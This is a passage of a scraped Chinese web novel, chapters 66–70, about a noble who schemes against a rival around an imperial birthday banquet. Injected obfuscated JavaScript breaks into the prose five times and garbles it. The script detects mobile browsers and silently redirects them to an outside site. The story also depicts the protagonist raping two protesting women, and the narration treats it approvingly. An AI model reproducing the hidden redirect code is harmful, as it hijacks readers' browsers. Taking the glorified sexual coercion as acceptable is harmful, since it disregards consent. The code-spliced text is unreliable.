灵带回大乾,成为他后宫的一员,两人开始没羞没臊地过日子。 林臻看到这里的时候不禁好奇,一个连自己国家被覆灭都不在乎的公主,真的存在么。 不管了,反正自己要夺走顾北辰的全部气运,这个楚惜灵也是自己的目标之一。 林臻眸光深邃,心中已有计策。 他缓缓看向侯春,轻声问道:“把母亲安葬了?” “是,多谢世子,否则属下真不知道该怎么办才好。”侯春的声音中带着几分诚挚与释然。 “你是我的人,家里有什么事情我自会伸手。你妹妹呢?” “妹妹已被属下安全接回王府,浣碧姑娘体贴入微,已将她安顿于静心园中,侍奉王爷左右。” “没遇到什么阻碍吧?” 提及此事,侯春不禁哑然失笑:“噗哈哈哈哈,起初那富商倒是百般推诿,极不情愿。后来听闻世子的大名,他立刻就放人了。” “呵呵呵。”林臻也笑了。 商贾就是商贾,不管他是哪个世家的人,借他十个胆子也不敢和自己作对。 “如此便好,你妹妹我会给他寻个好人家,不会亏待他的。” “是,多谢世子!” 说着话,门外传来两个男人哈哈大笑的声音。 透过纸窗,林臻望去,竟是多日不见的芦德豪和胖子。 这哥俩怎么又混在一起去了。 “胖爷,你是没舔到啊!燕来楼新出了一位花魁,那身姿轻盈得如同柳絮,在舞台上轻盈旋转,舞步翩跹,简直是画中仙子。尤其那腰肢,细得好像轻轻一捏就能捏断!叫人瞧了心里直痒痒。更别提她那双小脚,干净白皙,小巧玲珑,粉嫩得如同初绽的花瓣,小脚丫还贼小,粉嫩嫩的,看得我心痒死了!” “看你这点出息,有点B钱都花在女人身上?能不能学学你胖爷!你胖爷我除了草娘们以外,还有一身好武艺,出门还能替大哥开道!” “胖爷,我哪有钱请人家啊?昨天是那花魁第一次出来接客,竞拍价从五十两直接喊道六百两!卧槽,最后便宜了粮商赵大宝!” 说起此事芦德豪就捶胸顿足:“那个家伙长得比你还丑呢,我都不敢想象压在花魁身上是什么样子!唉,可惜了啊。” “我去你奶奶的,你TM说谁丑呢?几天不见皮痒是不是?” 林臻看着哥俩像小流氓似的进屋,很不爽利地喊道。 “你俩能不能有点正经的?嘴里除了女人就没有别的可念叨的了?” “嘿嘿嘿,大哥!” 芦德豪嬉皮笑脸地凑近前来,挤眉弄眼道:“大哥,咱晚上去燕来楼怎么样?咱一起干老鸨子去!” 林臻闻言,嘴角勾起一抹无奈的笑意,打趣道:“几天没见我还以为你死了呢,怎么?不怕杨梅大疮了?” 芦德豪一听,吓得脖子一缩,脸色微变,连忙摆手道:“哎呀大哥,你可别吓唬我,那玩意哪那么容易得啊?” 胖子甩手把一袋子钱扔在地上,对林臻说道:“大哥,这是德豪入伙的钱。” “嗯,浣碧,你叫人过来把钱搬回去,顺便告诉厨房,多弄几个好菜,烫点好酒。” “是,世子。” 浣碧喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789198|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来几名丫鬟,四人合力把几十斤重的银子搬到里屋。 林臻招呼哥俩坐下,嘴角挂着笑意。 不知怎的,他只要看到胖子和芦德豪就心情特别好。 “坐坐坐!马车的事情已经提上日程了,分红我会按月给你们的。” 胖子豪迈地摆了摆手,一副大义凛然的样子:“什么分红不分红的,只要大哥开心就好。” “就是,五百两银子对我们来说小意思!” 林臻就喜欢看哥俩吹牛逼的样子。 德豪家境殷实,这五百两确实算不得什么,可胖子家什么情况林臻一清二楚。 问家里要五百两,这得签多少不平等条约才能换来啊。 想到这,林臻心里暖暖的。 什么叫朋友?有一个亿但只借你一万,和只有一万愿意借你两万,那绝对是不一样的。 也正因为如此,林臻才会在有好事的时候想着她们俩。 其实林臻完全可以利用顾家的赃款,大肆收购京城的各种产业,但是完全没必要。 收购和让他们自己破产,林臻更喜欢后者,因为那样自己的成本将大大降低。 也罢,吃饭要一口一口吃,事情要一步一步做,先把出租车公司干起来,然后再逐步涉猎其他产业。 林臻问道:“明天就是陛下寿诞了,你们准备好送什么了吗?” “这都是家里准备的,我们小辈根本掺和不上,不过我看楚国使团这次来势汹汹,说不定要闹幺蛾子。”芦德豪坐在石凳上,小嘴叭叭的。 胖子不屑地笑道:“噗,你懂个鸟蛋啊,大哥还没说话呢你倒先分析上了。” “正所谓会无好会,楚国使团整事是肯定的,这就是他们来的目的,我只是在想,我们能不能想个办法,阻止顾北辰出现在寿宴上。” “大哥,你到底什么意思,说明白点。” “我需要你们帮忙,让顾北辰去不了陛下寿宴。” “为什么啊?” 哥俩都很惊奇。 林家和顾家是政治对手不假,但人家是去拜寿的,想拦也没理由啊。 林臻不想解释这些东西,也解释不通:“你俩就说帮不帮忙。” “可是大哥,这光天化日的你总不能让我们去劫道吧?”芦德豪有些心虚,毕竟顾家是他所不能企及的存在。 王胖子对此却不屑一顾:“怎么不能?别说一个小小顾北辰,只要大哥一声令下,就是天王老子胖爷也能给他劫下来!” 林臻想了想觉得此事确实有些不妥。 如果不被发现还好,万一被顾北辰揭穿,以后这哥俩不好混啊。 林臻无奈地说道:“唉,本不想用那招的,看来是躲不开了啊。” “大哥,你该不会是想让嫂夫人”芦德豪懵懵懂懂地比划一个很不雅的手势。 林臻点点头:“没错,就是刘书瑶!” 第66章 夫君不可!哪有大早晨就如此胡闹的 林臻想让刘书瑶去勾引顾北辰的计划,是他这几天一直思考的事情。 刘书瑶是个恋爱脑,为了顾北辰不顾一切,只要稍微给个消息就能约出来,可问题是顾北辰会不会上钩呢? 思来想去,也只有做局了。 林臻笑得像只猫头鹰:“桀桀桀桀,成大事者不拘小节,只要能阻挡顾北辰去寿宴,牺牲个刘书瑶也很值得。再说,他还不一定会牺牲。 芦德豪摸了摸手臂上的鸡皮疙瘩,满脸别扭地说道:“大哥,你能不能别这么笑,我看着害怕。 胖子不管那些,吃了口猪头肉,抹了抹嘴上的油。 “嗝,大哥,你就说让我们哥俩怎么办吧,我们都听你的。 “对! “我会想个办法把顾北辰和刘书瑶同时约出去,但为了保险起见,你哥俩需要盯着他们,如果他们敢进驿馆或者酒楼,你们就开始计时,一炷香的时间后冲进去捉奸! “记住,我们的目的是托住顾北辰,不让他参加陛下寿宴!但同时我也不想让顾北辰碰到她,明白么。 “大哥放心,反正我们俩也不参加寿宴,保证看好嫂夫人! “嗯,来来来,喝酒喝酒。 说话期间浣碧和晴雯早就把酒菜摆好了,林臻提起酒杯,三人对碰,一饮而尽,豪爽得一塌糊涂。 酒过三巡,菜过五味。 林臻稍有些醉意,看望空中明月忍不住即兴赋诗一首。 “对酒当歌,人生几何!譬如朝露,去日苦多。慨当以慷,忧思难忘。何以解忧?唯有杜康。 “好湿好湿! “大哥真是好湿啊!哕~芦德豪刚夸完,就一口吐在凉亭里。 花花绿绿的酒菜味道难闻极了,浣碧捏着小鼻子,招呼满脸不情愿的晴雯过来打扫。 晴雯都快恨死浣碧了,撅着嘴,强忍着呕吐开始收拾。 芦德豪也有些不好意思,连连给晴雯道歉:“大妹子,对不住了啊。 晴雯翻个白眼也没回答,但内心的不情愿都写在脸上了。 酒喝到最后芦德豪让人抬到客房里休息。 王府很大,不差他一个房间。 胖子则是迈着Z字步,溜溜达达的准备回家。 林臻还是那副微醺的状态。 古代的清酒根本就喝不多,不像后世的台子,五子,动辄五十几度,一口下去像喝火似的。 三人各自睡觉,为明天的大计划做准备。 也不知 怎的,宿醉后的清晨是男人欲望最强烈的时候。 早晨起来,林臻就觉得浑身燥热,口渴的离开,于是他差人喊来睡眼惺忪的刘书瑶和小翠。 尤其是小翠,起来后手忙脚乱地给刘书瑶穿衣服,结果自己衣服还没穿戴好就走进了林臻的卧房。 只见她胸口露出大片雪白,里面的亵衣清晰可见,绣花鞋还没穿好,踩在外面。 林臻哪里还忍受得住,怒吼一声就把两人拉到床榻上。 刘书瑶吓坏了,赶紧坐起来:“夫君.夫君不可!哪有大早晨就如此胡闹的!” 昨晚因为醉酒,林臻并没有找刘书瑶。 她本以为能躲过一晚,没想到大早晨就要被他侮辱。 小翠坐在床榻上一动都不敢动,像是被吓坏了。 林臻说道:“我想做什么就做什么,岂容你来质疑!?” 言罢林臻再一次把刘书瑶拉在身边,翻身压了上去。 “夫君,不可以啊!” “呜呜呜呜.” 每一次行房的时候刘书瑶都会掩面哭泣,林臻早已经见怪不怪,只是今天突然和两位大美女同眠是以前从没有过的。 奶奶的,都说古代好。 确实是好啊! 咱今天也体验下什么叫 荒唐了一个多时辰,林臻这才感觉好受些,爬起床穿好衣服。 浣碧在正堂早就等得百无聊赖了,饭菜热了一遍又一遍,也不知道世子什么时候才能结束荒唐。 她无聊地剥着瓜子,轻轻送进檀口,动作优雅招人喜欢。 见林臻走出来立刻起身迎道:“世子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789199|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,来吃饭吧!” “嗯,正好肚子饿。” 林臻来到圆桌,抱起小米粥就是咕嘟咕嘟一顿喝,这才感觉回过魂儿来。 这个时代的人吃小米都是不剥壳的,也就是官员富商家能吃上精细的小米粥。 腌好的萝卜丁很脆,嚼在嘴里嘎吱吱的,林臻边吃边对浣碧说道:“一会儿我交代给你个事情。” “世子,今天是陛下寿宴,您可不能再出去乱逛了,小心误了时辰。”浣碧的口吻有些像当家主母。 林臻抱着小米粥,含含糊糊地说道:“我知道,你跟我来。” 出了房门,来到院子,林臻看了看卧房那边这才小声对浣碧说道:“你找一个机灵点的小厮,最好是面生的,让他偷偷告诉小翠,就说顾北辰在中午的时候会在东市酒楼等着刘书瑶。另外再派人告诉顾北辰,就说刘书瑶也在东市的酒楼等着他。” 浣碧不理解地问道:“啊?世子,您这是要做什么?” “当然是做戏了,你就照我吩咐的去做,办好了重重有赏!”林臻端着小米粥半开玩笑地说着,浣碧却愈发觉得世子今天有些不一样。 平时都很痛恨刘书瑶去见顾北辰,这怎么还亲自引荐呢! 难道说,他又要使坏了吗? 说起使坏,浣碧不禁又想起早上刘书瑶和小翠那高亢的哭声 天呐,简直羞死人啦! 世子也真是的,办那种事情都不知道分分时候,害的人家听了一早上。 “好,奴婢知道了。” 林臻哈哈大笑着出门而去。 此时房间内。 小翠几乎已经哭成了泪人。 她曾幻想过双*的场面,但那是和顾北辰,万万没想到竟然会发生在林臻身上。 现在好了,自己竟然和刘书瑶坦诚相见,从主仆变成了平等身份,一起被他欺辱。 “小姐.呜呜呜,这样的日子什么时候是个头啊!” “哭哭哭,有什么好哭的!”刘书瑶抹了抹眼泪,倔强地道:“早晚有一天,我会让北辰杀掉这个人渣!” 第67章 好的啦~世子!都依你~ 今天是慕容嫣的寿诞,特下旨于正午在麟德殿大宴群臣,共襄盛举,大赦天下。 晚间不宵禁,白天不禁商,就连那铁窗之内的囚徒亦得享一份肉食之恩,以示皇恩浩荡。 林震仙派大管家过来嘱咐林臻要及时赴宴,不可误了时辰。 林臻闻此,心中自是应允,于是和浣碧两人回到房间。 刘书瑶和小翠还没起来,躲在卧房里嘀嘀咕咕说些什么,林臻丝毫不以为意。 无非就是偷偷痛斥自己的行为,幻想下自己得到救赎的日子罢了。 在浣碧的巧手下,林臻张开双臂,缓缓换上了那繁复而华美的礼服,里三层外三层的,犹如晨光中绽放的繁花。 金冠璀璨,映衬着年轻的脸庞;腰间悬挂的游龙玉佩,随着步伐轻轻摇曳,散发着温润的光泽。 脚踏一双镶嵌着翠绿翡翠的红色小马靴,每一步都踏出了贵族的风范。 整个人装扮起来,倒有几分像是书中走出的少年贾宝玉,温润如玉,不失贵气。 其实林臻最不喜欢这样的打扮,总感觉有点娘们唧唧的,不如后世上班时穿的polo装或者行政夹克来得舒服。 而且现在是夏季,白天能热死人,很多时候林臻都恨不得光膀子上街,更别说穿得如此厚重。 林臻看着浣碧跪在地上,一点一点把多余出来的裤脚塞进鞋里,不耐烦地说道:“碧儿,差不多了吧?穿这么多过冬都够了。 “世子又浑闹了,今天是陛下寿诞,岂能随意穿着? 林臻无奈地撇撇嘴,心说到底还是花季少女啊。 帅不帅顶什么用? 男人最重要的是才华!才华懂不懂? 虽然我也确实挺帅的。 “世子,奴婢还是想跟您多说一句,今天是陛下寿宴,不比往常,您可千万不能惹祸,否则老爷回来会生气的! “知道了知道了。还没娶进门呢就像个婆娘似的絮叨,林臻摆摆手,穿着华丽地离开,后又在护卫营点齐哼哈二将,出门而去。 今天的街市十分热闹,商贩的叫卖声,卖艺的叫好声,青楼女子的娇笑声,走卒的大吼声,声声不绝。 好像只有今天林臻才算彻底体会到活灵活现的古代。 侯春、二狗,韩忠三人跟着林臻身后,四人仪表不俗,穿着大气,招摇过市像来收保护费的黑帮老大。百姓见之都躲得远远的, 生怕冲撞了贵人。 林臻径直来到赌场。 张俪想蹭慕容嫣寿宴的热度于是把赌场重新开业的日子定在今天。 此时赌场外面已经是人山人海,都围着门前的一块大招牌猛看。 “赌王?真有这么个王爷啊?” “真的假的?我要报名!我要当赌王!” “妈妈,妈妈你快看!谁说赌博没出息的!现在朝廷都承认有赌王了!” “媳妇,你快把家里的钱都给我,看我给你赌个王爷回来!” “爹,我们一起去!所谓上阵父子兵,赢得赌王,荣誉你我一人一半!” 大家都对这个新王爷充满了期待,毕竟这可是底层人跻身进上流社会的最佳途径! 很多人都已经开始摩拳擦掌,准备大显身手一番了。 现在还不到开业的吉时,所以张俪并没有现身,只有小五和阿文在门口维持秩序。 林臻从小门进入赌场,发现里面已经装潢完毕,地上铺设着红地毯,一直绵延到二楼。 穿着绣有“英雄”二字衣服的荷官,正站在所有赌桌的后面。 现在还没有美女荷官这么一说,择日林臻就准备把他们全部换掉,毕竟穿着暴露的美女才能更吸引客人,弄一堆手指头像擀面杖似的糙老爷们,开起骰子来多没劲。 张俪正在一面巨大的柜台后面,穿着淡紫色的长裙,整个人显得雍容华贵。 这身衣服是林臻特批给她的,价值不菲。 要知道在古代是以紫为尊,因为紫色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789200|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染料是最难得到的。 见林臻过来,张俪放下毛笔笑意盈盈地说道:“世子!您来啦。” “嗯,门外看起来气氛还不错。” 张俪兴奋的两撇翠眉都跟着颤抖:“说的就是,赌王这一招可是妾身见过的最伟大的操盘!现在不仅仅是京城,周围几个郡县的赌徒全都在蜂拥而至,赌场争霸赛马上就要开始了!” “不光要准备赌王的事情,散客我们也要重点照顾,把借钱的利息降低一些,让大家都能借得起钱,至于怎么收回来,我不管。” 正所谓慈不掌兵,义不掌财。如果心善就别干黑道产业,因为它有很多见不得光的残忍手段。 林臻对那些有赌瘾的人没有丝毫怜悯之心,所以也不在乎这些。 “世子放心,妾身省得。” “嗯,正午我要去参加陛下的寿宴,就不能参加开业仪式了,你自己看着安排。另外我怀疑顾家会针对你,记得让虎贲营的人在场,不要离开他们的视线。” “好的啦~世子!都依你~”张俪故意拉长声音撒了个软娇,林臻霎时间竟心脏怦怦地跳,尴尬摸了摸鼻子。 也算老渣男了,竟然被这个处子姑娘魅惑到,实在是有些丢人。 反观张俪则是内心痴痴傻笑,她很喜欢看林臻这个不知所措的表情。 “马车的事情怎么样了?” “再有两天就能全部到位,您可以把马牵进城了。” “那就好,等一切走上正轨,我再好好着手戏弄顾北辰!” 林臻知道顾家的产业遍布全国,有布匹、粮食、珠宝、典当、私盐、铁矿,餐饮等等等等。 与林家的清高相比,顾家就是个肥得流油的奸商之家。 要对付他们,就要从他们最在意的产业下手,从根部一点一点将他们瓦解,到最后变成一具空壳子。 只要顾家没有了支柱产业,覆灭就是迟早的事情。 他顾北辰想把我做成人彘,岂不闻我也有此心。 第68章 嘲讽慕容嫣一文不值 眼看着时间差不多,林臻离开赌场直奔皇宫而去。 今天宫门口也是人挤人,很多下面的地方官都亲自来京城给慕容嫣送礼。 四品以下的官员连进宫的资格都没有,只把礼物送到一辆由百骑司掌管的马车上,然后说上几句讨喜的话,就离开了。 什么时候马车装满了,就一一送进宫里,再由嬛嬛负责接收。 别看官员进不去门,送的礼物慕容嫣可是可都记着呢,因为有无舌公公负责报幕。 林臻跟着林震仙进来的时候,正听见他站在龙台上大喊。 “清河太守孟达为陛下祝寿,携礼珊瑚树两座! “江龙道总管吴宪为陛下祝寿,携礼熊掌二十! “辽东太守蒋恒为陛下祝寿,携礼长白山千年人参十根! 林臻听着这些东西瞠目结舌啊。 还是地方上有钱,这些东西哪一件单拿出去都是天价! “摄政王林震仙为陛下祝寿,携礼兵书一本! “噗呵呵呵. “啊?王爷今天真是大手笔啊! “是啊,王爷写的兵书,那可是千金难求! “真是羡煞末将啊! 除了林家派系的官员外,顾家派系的官员都是忍不住憋笑。 到底是穷鬼一个,送陛下的寿礼竟然是一本兵书! 怎么?你指望陛下亲自上战场? 就连慕容嫣本人都是不喜的撇撇嘴,继续听后面的。 林震仙不觉有什么不妥,在他看来,自己写的兵书要超越这些俗礼一万倍。 带着林臻来到最前面的座位上坐好,又听到无舌喊道:“楚国清秋公主为陛下祝寿,携礼.携礼 无舌怎么也不敢把后面的念出来。 慕容嫣翠眉轻挑,一丝不好的预感涌上心头。 正准备开口询问,就看到楚惜灵带着楚国使团已经走入殿内,高声喊道:“楚国献礼半文钱为大乾国陛下祝寿! “嗯!? “大胆狂徒!你是在嘲讽陛下一文不值吗!? “来人,叉出去! “哈哈哈哈,岂敢岂敢! 林臻看向楚惜灵,只觉得此女子真乃人间绝色,尤其是那张鹅蛋脸,竟与后世的神仙姐姐十分相似! 天呐,旷世神颜啊! 难怪顾北辰宁可惹慕容嫣生气也要把她纳入后宫之中。 不仅如此,她说话的声音也婉转动听,有余音绕梁之感,只可惜吐出的 字眼太过挑衅,失了美感。 却听她说道:“我楚国国力衰弱,送不起寿礼,还请大乾皇帝陛下见谅。 “你楚国还穷?骗鬼呢? “老夫看你是故意挑衅! “难不成你想开战否? 楚惜灵站在堂中,大有舌战群儒的风采:“非也,我楚国虽然穷,但最不怕开战,要不我们这就下定战书如何? 她是有恃无恐啊。 不愧是华夏第一强国,就是有这份胆气和魄力。 慕容嫣尚未开宴便已气得浑身发抖,与场中自信且张狂的楚惜灵高下立判。 她几乎是下意识的看向顾家位置,发现顾云霆和顾北辰不知为何竟然迟到了,没办法她只好自己回怼楚惜灵。 “楚国公主,你若想开战,大乾可不怕你! “好啊!本公主等着就是陛下这句话,这就回去准备准备,三天后开战吧! 言罢楚惜灵要走。 这什么情况啊? 林臻有些懵,难道说古代人打仗都是这么儿戏吗?随便几句话就可以开战? 不应该啊,这是演戏呢吧? 果然,楚惜灵要走,没有人要留她。 她在殿门口停住脚步,转过头嘻嘻笑道:“呵呵呵,差点忘了,今天是来给陛下祝寿的,寿酒还没吃,怎么能走呢! 或许这就叫吃了吐吧。 说完她又回到自己的座位,继续有恃无恐地扫视众人。 最后只将目光停在闭目养神的林震仙身上,看起来很是忌惮。 话说回来也对,放眼全华夏任何一个国家,还没有人敢小觑这位老元帅。 让林臻颇感意外的是,除了楚国还有其他国家的使臣也来了,礼物不轻不重,算是得体。 由此也可以看出,楚国对大乾有着充足的觊觎之心。 慕容嫣恨得牙根直痒痒,如果今天被楚国小觑了,那日后这些国家都将视大乾如土鸡瓦狗。 可恶,该死的顾云霆怎么还不来啊! 半个时辰前。 顾北辰已经换了好盛装,一身淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789201|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色长袍,披肩紫金冠,腰围蜀锦百花玉带。 这身打扮比起林臻来也不遑多让。 他自然是帅的,但林臻认为他比起自己来还有一定的差距,毕竟没有哪一个男网友会承认自己比彭于晏长得丑。 与顾云霆相约同时出行,正巧,这时有丫鬟从外面走进来。 这丫鬟就是他前几日刚刚驰骋过的名叫英莲,眉头 有一朵红红的痣,看起来很是俏皮可爱。 顾北辰最喜欢的就是她,因为她是真的听话,办事也得体,尤其是在床榻上,几乎无有不从。 “少爷!外面有个姑娘,说是有急事要见您。” 顾北辰好奇地问道:“姑娘?哪来的姑娘?” “她自称是王府的人。” “王府.带进来。” 晴雯站在门外面,听到里面的声音后往前走了几步,露出比林臻还邪恶的坏笑。 没错,浣碧就是派她给顾北辰通风报信的。 这妮子长得标致,又会说话,办事妥帖。可以说是顾北辰最喜欢的类型。 见到符合自己择偶观的姑娘,男人自然是放松警惕的,可以说在这一点上浣碧拿捏得很好。 晴雯走进去,见到顾北辰时尚未说话,便先有一滴眼泪顺着脸颊滑落。 “啪嗒。” 泪珠掉在地上,晴雯这才说道:“顾少.夫人她.她.” 晴雯一副家里死了人的表情,可是把顾北辰吓坏了。 “她怎么了!你快说啊!” “她偷偷跑了出来,说什么也要见您一面!” “她在哪?什么时候跑出来的?” “小姐让奴婢来给您传话,她在东市的酒楼里等您!”说到这晴雯更是泪流满脸,梨花带雨,“顾少.呜呜呜,求求您,您一定要去见她呀。她真的是冒着很大风险跑出来的。” “可是.” 顾北辰还没有丧失理智,因为他想到了一个人。 林臻。 这个Beyond不知道什么时候就会突然出现。 “顾少,小姐为了您连命都不要了,您难道都不舍得去见她一面吗?就在酒楼的包厢里。” “林臻呢?” “林臻早就跟着王爷去参加陛下寿宴了,不会回来的!” 第69章 小姐,顾少在二楼包间等您 林臻已经进宫了? 皇帝寿宴会持续到晚上那也就是说他一下午都不会回来。 好机会啊! 自己要不要去呢. 顾北辰有些纠结。 只要想到刘书瑶如丝般柔滑的肌肤红唇娇嫩欲滴曼妙的身姿顾北辰便浑身燥热内心仿佛有只顽皮的小猫正在心间轻轻挠动痒得难以自持。 如今的情况和以前不同刘书瑶在酒楼的包厢里等着而不是家里安全性大大提高! 而且说不定已经沐浴完毕正光溜溜地躺在被子里等着自己临幸! 只要自己点点头曾经梦寐以求的激情就可以点燃那具本来属于自己后来却属于他人的娇躯现在要重新回归自己的怀抱! 顾北辰已经忍不住幻想刘书瑶躲在自己怀里撒娇的样子:“顾郎你比林臻厉害多了呢!” 嘶.妈的有点忍不了啊! 偷情最是令人欲罢不能的。 尤其像现在这种即将偷到的阶段除非戒过毒瘾否则神仙来了也扛不住! 顾北辰在无限幻想中已经快要失去理智了。 晴雯却见他不说话还以为不为所动又添油加醋地说道:“顾少.小姐她很想你!小姐说了只要您愿意过去 “可是.我还要参加陛下的寿宴啊!”顾北辰的声音里夹杂着几分无奈与挣扎。 晴雯闻言连忙劝解道:“顾少现在离寿宴开始还有点时间您只需快去快回打个转儿的功夫不妨事的!陛下那里的宴席无非是觥筹交错笑语宴宴少了您一时半刻也耽误不了事情!” 这人呐最怕自己骗自己。 顾北辰也觉得自己快去快回不会耽误什么实际上等他心里很清楚只要到了酒楼短时间内根本出不来。 他也舍不得出来。 他只是在为自己不去参加皇帝寿宴找个冠冕堂皇的借口罢了。 顾北辰咬咬牙一番挣扎后最终决定还是去见刘书瑶。 这么好的机会绝对不能放过。 他林臻不是自称技术男么好啊今天我就让你媳妇亲口说到底谁更厉害些! “晴雯你先回去告诉书瑶我马上就到!” “嗯!多谢顾少!”晴雯欢天喜地地走了同时顾北辰派人告诉顾云霆让他先行进宫自己有急事需要处理晚些时候就到。 顾云霆闻言并未多想只是叮嘱顾北辰莫要耽搁太久以免惹陛下不悦。 另一边,刘书瑶与小翠才勉强起身。 林臻还是太厉害了,短短时间内就让两人下不来床。 小翠拭去眼角的泪痕,抽泣着匆匆将衣衫整理妥当,又开始伺候刘书瑶穿衣服。 这时,敲门声传来。 刘书瑶有些疑惑,能进入内院卧房的就只有林臻身边那几个丫鬟,而浣碧入内更是从无敲门之举。 会是谁呢? “何人?” “小姐,我是顾少派来的!”门外之人的声音透过门缝,清晰地传入室内。 闻及“顾北辰”三字,刘书瑶心头猛地一紧,紧接着一股甜蜜涌上心头,泛起层层涟漪。 就知道顾郎绝不会弃我而去的! 只是这王府重地,这小厮怎么会如此轻易的进来呢? “小翠,快去开门!” “好!”小翠应答间,眼眸中闪烁着兴奋的光芒,她满心以为是顾北辰派人来救她们脱离水火的,于是脚步轻快,几乎是小跑着前去开门。 “吱呀。”一声轻响,门外立着一位衣着简朴的小厮。 这人小翠从没见过,不由眉头微蹙,眼中闪过一丝疑惑:“你是何人?” 小厮恭恭敬敬地行了一礼,答道:“姑娘有礼了,小的乃顾府仆役。顾少爷特命小的前来,转告刘小姐,正午时分,他将在东市酒楼的雅厢内,恭候刘小姐。” “东市酒楼.”小翠轻声重复,目光转向一旁静默不语的刘书瑶。 刘书瑶听得真切,一时间去还不去,竟纠结起来。 林臻已经出门去参加寿宴了,短时间内肯定回不来,也许现在就是和顾郎私会的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789202|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最安全的时间也说不定。 刘书瑶转过头看向小翠:“小翠,你以为如何?” 小翠闻言,眼中闪过一抹报复性的坚决:“去!当然要去!咱们得把这几日来的种种遭遇,一五一十地告知顾少,请他为我们主持公道!” 主不主持公道的刘书瑶不在乎,命运的车轮滚滚向前,她已学会了顺从。 只是,若能借此机会再见顾北辰一面,倾诉那积压已久的相思之苦,于她而言,无疑是莫大的慰藉与喜悦。 而且,顾北辰既然把地点定在酒楼包厢里,就说明他并没有嫌弃自己,反而愿意和自己行鱼水之欢! 这具身体已经被不爱的人强行夺走,如今面对所爱之人的温柔索求,自己还有什么不愿意的呢? 如果顾郎想要,那就狠狠地要吧! 反正也挺舒服的。 “小翠,快去拿毛巾和斗笠来!” “拿毛巾做什么?”小翠有些不解,如果要出门的话拿斗笠就够了呀。 刘书瑶轻轻翻了个白眼,嘴角勾起一抹无奈:“这身上都是林臻的腌臜之物,不得擦擦怎成!” “哦。” 小翠急忙去拿,东子在旁,眼中闪过一丝笑意,低声说道:“小姐,那我这便去后门将马车牵来候着。” “好,你快去吧!” 不多时,小翠手捧毛巾与斗笠回来,望向正欲离去的东子轻声吩咐:“小哥,若是你见到看门的三蹦子,就说是我让你出去的。” “是。”东子心里止不住的冷笑。 上次他回来的时候便看见小翠和刘书瑶出门,还特意问了问三蹦子,后来两人又一起吃酒谈及此事。 现在几乎全府的人都知道刘书瑶和小翠喜欢顾北辰。 而小翠却把三蹦子当成自己人,能不好笑么。 没错,东子就是那天采购日用品回来和三蹦子说话的小厮。 刘书瑶和小翠手脚麻利地把身上擦了一遍,然后又重新穿好衣服,戴上斗笠来到后门上马车,扬长而去。 第70章 又大又晃眼,那是你能看的吗? 东市酒楼门口。 王胖子悠哉地叼着一根牙签,斜倚在探春楼临街的窗边。 这酒楼正对着熙熙攘攘的街道,他的目光穿透纷扰,专注地向外张望。 忽地,一辆装饰华丽的马车映入眼帘,他嘴角一扬,轻轻拍了拍身后芦德豪那宽厚的肩膀。 “别舔了,抓紧,嫂夫人来了!王胖子的话语中带着几分戏谑。 芦德豪正沉浸在温柔乡中,闻言一愣,随即咂了咂嘴,眼中闪过一丝淫邪之光。“嘿,那小娘们儿,真是勾人魂魄,爷重重有赏! 说着,他随手从衣襟内掏出一块沉甸甸的银饼子,轻轻一抛。 那女子眼疾手快,接住后满脸堆笑,声音柔媚入骨:“多谢小公爷厚爱!奴家在此恭候大驾! 